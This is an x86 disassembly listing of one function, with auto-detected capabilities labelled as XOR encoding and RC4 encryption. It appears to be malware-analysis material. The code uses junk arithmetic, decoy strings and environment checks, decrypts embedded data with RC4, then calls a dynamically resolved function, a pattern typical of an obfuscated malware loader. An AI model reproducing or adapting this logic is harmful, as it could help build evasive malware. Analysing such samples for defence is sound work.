Function at 0x10007555
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
push edi
push 0x27
mov dword [ebp - 0x4c], ecx
xor ebx, ebx
pop ecx
push 0xc
pop edx
mov dword [ebp - 0x14], edx
mov eax, ebx
mov dword [ebp - 0x10], 0x3cd
add ecx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, 2
jl 0x10007578
push 0x55
pop edi
mov dword [ebp - 0x44], ecx
mov eax, ebx
mov ecx, edi
mov dword [ebp - 0x18], 0x52
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 0x14d
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x1000759d
push 0x53
pop edx
push 9
mov dword [ebp - 0x40], ecx
mov ecx, str.ShepherdSuccess
pop esi
lea eax, [edx - 0x30]
cmp ax, si
ja 0x100075d2
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x100075b5
mov esi, dword [0x10028588]
jmp 0x100075de
mov esi, dword [0x10028588]
or esi, 0xbe6990dd
call fcn.10007140
mov dword [ebp - 0x18], edi
xorps xmm1, xmm1
mov dword [ebp - 0x1c], 5
xorps xmm2, xmm2
mov dword [ebp - 0x14], 0x4c
and esi, 0x97dd0576
mov dword [ebp - 0x10], 0xffffff5a
mov edi, str.unknown_protocol
movups xmm0, xmmword [ebp - 0x1c]
mov al, byte [str.unknown_protocol]
xor esi, 0xe92f618b
mov dword [ebp - 0x10], 0xffffff30
mov ecx, edi
psubd xmm1, xmm0
mov dword [ebp - 0x1c], 0x11
movaps xmm0, xmm1
mov dword [ebp - 0x18], 0x61
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0x5e
movups xmm0, xmm1
mov dword [ebp - 0x2c], 0xadad6699
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x28], 0x5a2a9361
movups xmm0, xmmword [ebp - 0x1c]
push 0x49
pop edx
psubd xmm2, xmm0
movd dword [ebp - 0x48], xmm1
movaps xmm0, xmm2
mov dword [ebp - 0x24], 0x23f615ca
psrldq xmm0, 8
paddd xmm2, xmm0
mov dword [ebp - 0x20], 0x3e3443da
movups xmm0, xmm2
mov dword [ebp - 0x1c], 0x39dea1c3
psrldq xmm0, 4
paddd xmm2, xmm0
mov dword [ebp - 0x18], 0xd9840b25
movd dword [ebp - 0x50], xmm2
mov dword [ebp - 0x14], 0x8e1f2c8
mov byte [ebp - 0x10], dl
mov word [ebp - 0xf], 0x81c6
mov byte [ebp - 0xd], 0x97
jmp 0x100076cb
sub al, 0x30
cmp al, 9
ja 0x100076d1
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100076c2
jmp 0x100076d7
xor esi, 0x890aef02
xor esi, 0xcc8d4b62
mov ecx, 0x4ec
mov eax, str.Icmp6CreateFile
add ecx, edx
lea eax, [eax + 2]
cmp ecx, 0x2637
ja 0x100076fd
movzx edx, word [eax]
test edx, edx
jne 0x100076e7
jmp 0x10007712
or esi, 0xf317cc12
push ecx
mov ecx, edi
mov dword [0x10028588], esi
call fcn.100070dc
pop ecx
lea eax, [esi + 0x5384cb73]
mov dword [ebp - 8], ebx
push 8
pop ecx
mov esi, str.Register_json_event_handler_failed
mov dword [ebp - 0xc], ebx
lea edi, [ebp - 0x84]
xor eax, 0xccd5cdf2
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x34], eax
mov al, byte [str.AES_256_OCB]
mov byte [ebp - 1], al
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x34]
mov ecx, ebx
test al, al
je 0x10007763
inc ecx
cmp ecx, 0x20ff
jg 0x1000775d
cmp byte [ecx + str.AES_256_OCB], bl
jne 0x1000774a
jmp 0x10007763
or esi, 0xcd764d53
sub esi, 0x7d1ce9b8
call fcn.10007389
mov al, byte [ebp - 1]
mov edx, str.AES_256_OCB
test al, al
je 0x10007793
mov cl, al
sub cl, 0x30
cmp cl, 9
ja 0x1000778d
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x1000777c
jmp 0x10007793
imul esi, esi, 0x5b675f51
mov edx, dword [ebp - 0xc]
add esi, 0xfe5cdc84
mov byte [ebp + edx - 0x184], dl
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 0x100
jb 0x10007744
and esi, 0xd6e1c674
mov edi, ebx
mov dword [ebp - 0x34], esi
xor edx, edx
mov bl, byte [ebp + edi - 0x184]
push 0x22
mov eax, edi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x84]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x184]
mov byte [ebp + edi - 0x184], al
inc edi
mov byte [ebp + ecx - 0x184], bl
cmp edi, 0x100
jb 0x100077ba
xor ebx, ebx
mov esi, ebx
mov edi, ebx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [ebp + esi - 0x184]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x184]
mov byte [ebp + esi - 0x184], al
mov byte [ebp + ebx - 0x184], cl
movzx eax, byte [ebp + esi - 0x184]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x184]
xor al, byte [ebp + edi - 0x2c]
mov byte [ebp + edi - 0x84], al
inc edi
cmp edi, 0x20
jb 0x10007804
mov al, byte [ebp - 1]
xor ebx, ebx
mov esi, dword [ebp - 0x34]
mov edi, str.AES_256_OCB
mov byte [ebp - 0x64], bl
mov edx, edi
mov dword [ebp - 0xc], 0x2484
movzx ecx, al
test al, al
je 0x10007896
add dword [ebp - 0xc], ecx
inc edx
cmp dword [ebp - 0xc], 0x179b
ja 0x10007890
movzx ecx, byte [edx]
test ecx, ecx
jne 0x10007874
add esi, 0xb61778f9
jmp 0x1000789c
add esi, 0x4f863b19
add esi, 0xb995f07e
imul esi, esi, 0x22652333
mov dword [ebp - 8], ebx
mov ecx, edi
jmp 0x100078b2
sub al, 0x30
cmp al, 9
ja 0x100078b8
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100078a9
jmp 0x100078be
and esi, 0x63787b06
push str.Icmp6CreateFile
or esi, 0xa2f615d
push ecx
mov dword [0x10028588], esi
call fcn.10007329
mov al, byte [str.AES_256_OCB]
mov edx, edi
mov dword [ebp - 0xc], 0x177f
pop ecx
pop ecx
movzx ecx, al
test al, al
je 0x1000791c
add dword [ebp - 0xc], ecx
inc edx
cmp dword [ebp - 0xc], 0xe04
ja 0x10007908
movzx ecx, byte [edx]
test ecx, ecx
jne 0x100078ec
imul esi, esi, 0xa717a061
jmp 0x10007922
push ecx
mov ecx, edi
call fcn.100070dc
mov al, byte [str.AES_256_OCB]
sub esi, 0x108ed92
pop ecx
add esi, 0xae49dcb0
mov edx, dword [ebp - 8]
add esi, 0x1a3823d7
xor esi, 0xfeaae50a
inc edx
mov dword [ebp - 8], edx
cmp edx, 0x20
jb 0x100078a5
push 3
imul edx, esi, 0xcffcc862
mov ecx, ebx
pop esi
mov byte [ebp - 1], al
mov eax, ebx
mov dword [ebp - 0x18], 0x50
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0xffffffad
sub ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, esi
jl 0x1000795f
push 0x3a
mov dword [ebp - 0x58], ecx
mov eax, ebx
pop ecx
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], 0x3c2
add ecx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, 2
jl 0x1000797e
mov dword [ebp - 0x1c], 0x26
lea edi, [ebp - 0x28]
mov dword [ebp - 0x18], 0x1f
xorps xmm1, xmm1
mov dword [ebp - 0x14], 0x3e
mov dword [ebp - 0x10], 0xb7d
movups xmm0, xmmword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x27
mov dword [ebp - 0x18], 0x59
psubd xmm1, xmm0
mov dword [ebp - 0x14], 0x43
movaps xmm0, xmm1
mov dword [ebp - 0x10], 0xffffff3a
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x54], ecx
movups xmm0, xmm1
mov dword [ebp - 0x3c], 0x8ae46117
psrldq xmm0, 4
paddd xmm1, xmm0
mov byte [ebp - 0x38], 0x34
movd eax, xmm1
movups xmm1, xmmword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x63
add eax, 0xe00
mov dword [ebp - 0x18], 0x19
movaps xmm0, xmm1
mov dword [ebp - 0x34], eax
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0xa
movups xmm0, xmm1
mov dword [ebp - 0x10], 0xffffff4d
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
movups xmm1, xmmword [ebp - 0x1c]
push 6
add eax, esi
mov esi, str.id_smime_ct_compressedData
pop ecx
rep movsd dword es:[edi], dword [esi]
movaps xmm0, xmm1
mov dword [ebp - 0x5c], eax
psrldq xmm0, 8
mov ecx, ebx
movzx ebx, byte [str.ksde.exe]
paddd xmm1, xmm0
movups xmm0, xmm1
movsw word es:[edi], word [esi]
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
movsb byte es:[edi], byte [esi]
add eax, 0x2e
mov dword [ebp - 0x60], eax
lea eax, [edx + 0x5b17af48]
imul esi, eax, 0x639143a3
mov edi, 0x17f2
mov eax, str.ksde.exe
mov edx, ebx
test ebx, ebx
je 0x10007ab3
add edi, edx
inc eax
cmp edi, 0x22bb
ja 0x10007aad
movzx edx, byte [eax]
test edx, edx
jne 0x10007a99
jmp 0x10007ab3
imul esi, esi, 0xe72d9882
imul eax, esi, 0x17d6f52e
mov esi, 0x5a066110
mov byte [ebp + ecx - 0x184], cl
sub esi, eax
inc ecx
cmp ecx, 0x100
jb 0x10007a89
xor ebx, ebx
mov edi, ebx
xor edx, edx
mov dword [ebp - 8], 0x1a
mov eax, edi
mov cl, byte [ebp + edi - 0x184]
div dword [ebp - 8]
mov byte [ebp - 0x2d], cl
movzx ecx, cl
push 0x63
movzx eax, byte [ebp + edx - 0x28]
mov edx, 0x558
add eax, ebx
add ecx, eax
mov eax, str.com.avast.ipm.ClientParameters.VpnIDRecordsValues
movzx ebx, cl
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0xe6b
ja 0x10007b24
movzx ecx, word [eax]
test ecx, ecx
jne 0x10007b08
add esi, 0xb7e4ed30
jmp 0x10007b43
and esi, 0x25e9878d
push str.ShepherdSuccess
push ecx
mov dword [0x10028588], esi
call fcn.10007329
pop ecx
pop ecx
and esi, 0x46246d3
mov al, byte [ebp + ebx - 0x184]
xor esi, 0x43cd9f69
mov byte [ebp + edi - 0x184], al
inc edi
mov al, byte [ebp - 0x2d]
mov byte [ebp + ebx - 0x184], al
cmp edi, 0x100
jb 0x10007ad4
add esi, 0xc34beb29
xor ebx, ebx
mov dword [ebp - 0xc], esi
mov edi, ebx
mov esi, ebx
lea eax, [ebx + 1]
movzx ebx, al
mov cl, byte [ebp + ebx - 0x184]
movzx edx, cl
lea eax, [edx + esi]
movzx esi, al
mov al, byte [ebp + esi - 0x184]
mov byte [ebp + ebx - 0x184], al
mov byte [ebp + esi - 0x184], cl
movzx eax, byte [ebp + ebx - 0x184]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x184]
xor al, byte [ebp + edi - 0x3c]
mov byte [ebp + edi - 0x14], al
inc edi
cmp edi, 5
jb 0x10007b7d
mov esi, dword [ebp - 0xc]
mov eax, 0x95b
push 0x63
xor ebx, ebx
mov ecx, str.com.avast.ipm.ClientParameters.VpnIDRecordsValues
pop edx
add eax, edx
lea ecx, [ecx + 2]
cmp eax, 0x1ac4
ja 0x10007bf1
movzx edx, word [ecx]
test edx, edx
jne 0x10007bdc
jmp 0x10007bf7
sub esi, 0x336bfbb6
call fcn.10007389
and esi, 0x64500032
mov byte [ebp - 0xf], bl
or esi, 0x100c1881
mov dword [ebp - 0x3c], 0x46
push 0x52
xor esi, 0x4d988e9f
mov dword [ebp - 0x38], 0xc6
pop eax
add eax, dword [ebp + ebx*4 - 0x3c]
inc ebx
cmp ebx, 2
jl 0x10007c22
movzx edi, byte [ebp - 1]
mov ebx, str.AES_256_OCB
mov dword [ebp - 8], eax
mov edx, 0x1318
mov ecx, ebx
mov eax, edi
test edi, edi
je 0x10007c65
add edx, eax
inc ecx
cmp edx, 0xcca
ja 0x10007c5f
movzx eax, byte [ecx]
test eax, eax
jne 0x10007c45
add esi, 0x2bd68357
jmp 0x10007c72
sub esi, 0x3d866b3c
push ecx
call fcn.1000745d
pop ecx
and esi, 0x52c9375b
xor esi, 0x8ba1a802
call fcn.1000720d
mov eax, 0xd64
jmp 0x10007c91
add eax, edi
inc ebx
cmp eax, 0x4f5
ja 0x10007c97
movzx edi, byte [ebx]
test edi, edi
jne 0x10007c84
jmp 0x10007c9d
or esi, 0xc5012619
sub esi, 0xa4b02a7
mov dword [0x10028588], esi
call fcn.1001bf9a
call fcn.10005848
test eax, eax
jne 0x10007dda
mov ecx, dword [ebp - 0x40]
imul ecx, dword [ebp - 0x44]
call fcn.10014037
mov edi, eax
call fcn.10002d54
test eax, eax
jne 0x10007dda
call fcn.10004c80
test eax, eax
jne 0x10007dda
cmp edi, dword [ebp - 0x48]
je 0x10007dda
call fcn.1000502a
test eax, eax
je 0x10007d35
push 0x52
pop edx
push 9
mov ecx, str.RegKey36HKCUSoftwarePowerArchiverIntFilesBFile3W
pop esi
lea eax, [edx - 0x30]
cmp ax, si
ja 0x10007d1c
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x10007d00
mov eax, dword [0x10028588]
jmp 0x10007d26
mov eax, dword [0x10028588]
xor eax, 0xb89332dd
sub eax, 0x92f15ad
mov dword [0x10028588], eax
jmp 0x10007dda
mov ecx, dword [ebp - 0x4c]
mov edx, edi
add dword [0x10028588], 0x2a4e6d4
call fcn.1000bfdb
mov ebx, eax
call fcn.10002844
test eax, eax
jne 0x10007dda
mov ecx, ebx
call fcn.10014037
mov esi, eax
cmp esi, dword [ebp - 0x50]
je 0x10007dda
sub dword [0x10028588], 0x6ec41859
lea eax, [ebp - 0x84]
push esi
push ecx
push eax
mov edx, ebx
mov ecx, edi
call fcn.10018b11
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x54]
push eax
push dword [ebp - 0x58]
push edi
call fcn.1001466e
mov ecx, edi
call fcn.100143f0
mov ecx, esi
call fcn.10015d76
push ebx
push dword [ebp - 0x5c]
push esi
call fcn.1001466e
add esp, 0x24
mov ecx, esi
call fcn.100143f0
mov eax, dword [0x10028588]
lea edx, [ebp - 0x14]
push dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
add eax, 0x8a1e32bd
imul eax, eax, 0x73b70c46
mov dword [0x10028588], eax
call fcn.1001bfc3
call eax
pop edi
pop esi
pop ebx
leave
ret